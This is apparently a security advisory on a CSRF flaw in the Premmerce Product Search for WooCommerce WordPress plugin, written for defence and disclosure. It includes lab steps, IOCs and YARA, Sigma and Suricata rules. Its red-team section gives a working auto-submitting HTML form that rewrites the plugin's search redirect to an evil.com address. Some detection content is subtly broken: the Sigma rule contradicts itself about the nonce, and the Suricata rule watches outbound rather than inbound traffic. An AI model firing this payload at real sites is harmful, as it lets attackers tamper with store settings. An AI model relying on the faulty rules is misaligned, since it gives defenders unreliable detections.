CVE-2025-64290

Executive Summary

CVE-2025-64290 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Premmerce Product Search for WooCommerce WordPress plugin, versions <= 2.2.4. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or performing state-changing operations, without the victim's consent. The attack requires social engineering to trick an admin into clicking a crafted link or visiting a malicious page while authenticated to the WordPress admin panel.

The vulnerability is classified as WordPress ecosystem issue, specifically within the WooCommerce plugin environment. The CVSS v3.1 base score is 4.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes it a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, it is not managed through traditional package managers like NPM or PyPI. However, the supply chain risk is significant: if the plugin is abandoned (no patch available), site administrators must manually remove or replace it. The plugin's codebase is closed-source, making independent verification of the fix impossible without vendor cooperation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
• User Interaction (UI): Required (R) – Victim must click a link or visit a page.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Limited ability to modify settings or data.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The attack requires user interaction, but the lack of a patch and the plugin's widespread use in WooCommerce stores elevate the risk for unmaintained sites.

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF nonce validation in state-changing requests within the Premmerce Product Search for WooCommerce plugin. When an administrator is logged into the WordPress admin panel, the plugin fails to verify that requests to modify settings (e.g., search configuration, indexing options) originate from the legitimate admin session. An attacker can craft a malicious HTML page or email containing a forged request (e.g., via an <img> tag or auto-submitting form) that, when loaded by the admin, triggers an unauthorized action.

Attack Flow:

1. Attacker identifies a target WordPress site running the vulnerable plugin.
2. Attacker crafts a CSRF payload targeting a specific admin action (e.g., changing search settings to inject malicious content or disable functionality).
3. Attacker lures the authenticated admin to visit the malicious page (e.g., via phishing email or social media).
4. The admin's browser sends the forged request with their session cookies, executing the action without their knowledge.

Impact: An attacker could modify plugin settings to redirect search queries to malicious sites, disable search functionality, or alter indexing behavior. While direct data theft is not possible, integrity compromise can lead to further attacks (e.g., stored XSS if settings are reflected unsanitized).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to lack CSRF nonce checks. A patched version would include wp_nonce_field() in forms and check_admin_referer() or wp_verify_nonce() in request handlers.

Vulnerable Code Example (Conceptual):

// In admin settings page (no nonce)
function premmerce_search_save_settings() {
    update_option('premmerce_search_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=premmerce-search'));
}

Patched Code Example (Conceptual):

function premmerce_search_save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'premmerce_search_settings')) {
        wp_die('CSRF validation failed.');
    }
    update_option('premmerce_search_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=premmerce-search'));
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with Premmerce Product Search for WooCommerce <= 2.2.4.
• Admin user must be logged in and visit the attacker's page.

CSRF Payload Example (HTML):

<html>
<body>
<h1>Click me for a surprise!</h1>
<form id="csrf" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="premmerce_search_save_settings">
    <input type="hidden" name="settings[search_redirect]" value="http://evil.com/malware">
    <input type="submit" value="Submit">
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

Lab Setup:

1. Install WordPress and the vulnerable plugin on a local server (e.g., XAMPP or Docker).
2. Log in as an admin.
3. Host the CSRF payload on a separate domain or local file.
4. Open the payload in the same browser session as the admin.
5. Verify that the plugin settings are modified without user confirmation.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected changes to plugin settings via audit logs (e.g., using WP Activity Log plugin).
• Look for HTTP requests to /wp-admin/admin-post.php with action=premmerce_search_save_settings originating from external referrers.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php with missing or invalid referer headers.
• Use the SameSite=Strict cookie attribute for WordPress session cookies.
• Educate administrators to avoid clicking suspicious links while logged into the admin panel.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-post.php with action=premmerce_search_save_settings and no _wpnonce parameter.
  • Referer header pointing to an external domain.
• Host:
  • Modified wp_options table entries for premmerce_search_settings.
  • Unexpected changes to search plugin configuration in the WordPress admin UI.
• Logs:
  • WordPress debug log entries showing failed nonce checks (if patched) or missing nonce errors.

Detection Engineering

YARA Rule

rule CVE_2025_64290_CSRF_Payload {
    meta:
        description = "Detects CSRF payload targeting Premmerce Product Search for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64290"
    strings:
        $action = "premmerce_search_save_settings"
        $nonce_missing = "wp_nonce" nocase
    condition:
        $action and not $nonce_missing
}

Sigma Rule

title: CVE-2025-64290 CSRF Attempt Against Premmerce Search
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP requests to WordPress admin-post.php with missing CSRF nonce for Premmerce Search settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=premmerce_search_save_settings'
        cs-uri-query|contains: '_wpnonce'  # False positive if nonce present
    condition: selection and not cs-uri-query|contains: '_wpnonce'
falsepositives:
    - Legitimate admin actions with nonce (if patched)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64290 CSRF Attempt Premmerce Search"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=premmerce_search_save_settings"; http_client_body; pcre:"/^(?!.*_wpnonce).*$/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Replace with an alternative WooCommerce search plugin that is actively maintained (e.g., SearchWP, Relevanssi).
3. Apply virtual patching via WAF rules to block requests to admin-post.php with action=premmerce_search_save_settings and missing nonce.

Long-Term Measures:

• Implement a Content Security Policy (CSP) to restrict form submissions to same-origin.
• Enforce SameSite=Strict cookies for WordPress admin sessions.
• Regularly audit WordPress plugins for CSRF vulnerabilities using automated scanners (e.g., WPScan).
• Subscribe to vendor security advisories for Premmerce plugins.

Patch Status: UNKNOWN / UNPATCHED. No official fix is available. Site administrators must assume the plugin is abandoned and take manual remediation steps.

Valters IT
DevSecOps & Cyber Threat Intelligence